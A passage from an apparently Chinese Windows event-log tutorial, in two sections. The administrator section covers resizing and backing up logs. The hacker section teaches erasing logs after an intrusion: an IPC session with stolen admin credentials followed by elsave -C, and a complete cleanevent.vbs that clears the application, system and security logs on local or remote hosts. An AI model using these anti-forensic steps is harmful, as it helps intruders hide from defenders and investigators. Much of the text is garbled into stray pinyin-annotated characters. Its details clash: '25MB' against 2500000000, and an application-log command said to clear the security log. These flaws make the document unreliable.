二：作為網(wǎng)絡(luò)管理員：

　　1.日志的安全配置：

　　默認(rèn)的條件下，日志的大小為512KB大小，如果超出則會報錯，并且不會再記錄任何日志。所以首要任務(wù)是更改默認(rèn)大小，具體方法：注冊表中HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog對應(yīng)的每個日志如系統(tǒng)，安全，應(yīng)用程序等均有一個maxsize子鍵，修改即可。

　　下面給出一個來自微軟站點的一個腳本，利用VMI來設(shè)定日志最大25MB,并允許日志自行覆蓋14天前的日志：

strComputer = "."
Set objWMIService = GetObject（"winmgmts:" _
& "{impersonationLevel=impersonate,（Security）}!\\" & _
strComputer & "\root\cimv2"） '獲得VMI對象
Set colLogFiles = objWMIService.ExecQuery _
（"Select * from Win32_NTEventLogFile"）
For each objLogfile in colLogFiles
strLogFileName = objLogfile.Name
Set wmiSWbemObject = GetObject _
（"winmgmts:{impersonationLevel=Impersonate}!\\.\root\cimv2:" _
& "Win32_NTEventlogFile.Name='" & strLogFileName & "'"）
wmiSWbemObject.MaxFileSize = 2500000000
wmiSWbemObject.OverwriteOutdated = 14
wmiSWbemObject.Put_
Next

　　將上述腳本用記事本存盤為vbs為后綴的即可使用。

　　另外需要說明的是代碼中的strComputer="."在Windows腳本中的含義相當(dāng)于localhost,如果要在遠(yuǎn)程主機(jī)上執(zhí)行代碼，只需要把"."改動為主機(jī)名,當(dāng)然首先得擁有對方主機(jī)的管理員權(quán)限并建立IPC連接.本文中的代碼所出現(xiàn)的strComputer均可作如此改動。

　　2. 日志的查詢與備份：

　　一個優(yōu)秀的管理員是應(yīng)該養(yǎng)成備份日志的習(xí)慣，如果有條件的話還應(yīng)該把日志轉(zhuǎn)存到備份機(jī)器上或直接轉(zhuǎn)儲到打印機(jī)上，在這里推薦微軟的resourceKit工具箱中的dumpel.exe，他的常用方法：

　　dumpel -f filename -s \\server -l log

　　-f filename 輸出日志的位置和文件名

　　-s \\server 輸出遠(yuǎn)程計算機(jī)日志

　　-l log log 可選的為system,security,application,可能還有別的如DNS等.

　　如要把目標(biāo)服務(wù)器server上的系統(tǒng)日志轉(zhuǎn)存為backupsystem.log可以用以下格式：

　　dumpel \\server -l system -f backupsystem.log

　　再利用計劃任務(wù)可以實現(xiàn)定期備份系統(tǒng)日志。

　　另外利用腳本編程的VMI對象也可以輕而易舉的實現(xiàn)日志備份：

　　三：作為黑客

　　1、日至清除

　　一個入侵系統(tǒng)成功后的黑客第一件事便是清除日志，如果以圖形界面遠(yuǎn)程控制對方機(jī)器或是從終端登陸進(jìn)入，刪除日志不是一件困難的事，由于日志雖然也是作為一種服務(wù)運行，但不同于http,ftp這樣的服務(wù)，可以在命令行下先停止，再刪除，在m命令行下用net stop eventlog是不能停止的，所以有人認(rèn)為在命令行下刪除日志是很困難的，實際上不是這樣，下面介紹幾種方法:

　　（1）借助第三方工具：如小榕的elsave.exe遠(yuǎn)程清除system,applicaton,security的軟件，使用方法很簡單，首先利用獲得的管理員賬號與對方建立ipc會話，net use \\ip pass /user: user
然后命令行下：elsave -s \\ip -l application -C，這樣就刪除了安全日志。

　　其實利用這個軟件還可以進(jìn)行備份日志，只要加一個參數(shù) -f filename就可以了，在此不再詳述。

　　（2）利用腳本編程中的VMI，也可以實現(xiàn)刪除日志，首先獲得object對象，然后利用其clearEventLog（）方法刪除日志。源代碼：

cleanevent.vbs
strComputer = "."
Set objWMIService = GetObject（"winmgmts:" _
& "{impersonationLevel=impersonate,（Backup）}!\\" & _
strComputer & "\root\cimv2"）
dim mylogs（3）
mylogs（1）="application"
mylogs（2）="system"
mylogs（3）="security"
for Each logs in mylogs
Set colLogFiles = objWMIService.ExecQuery _
（"Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'"）
For Each objLogfile in colLogFiles
objLogFile.ClearEventLog（）
Next
next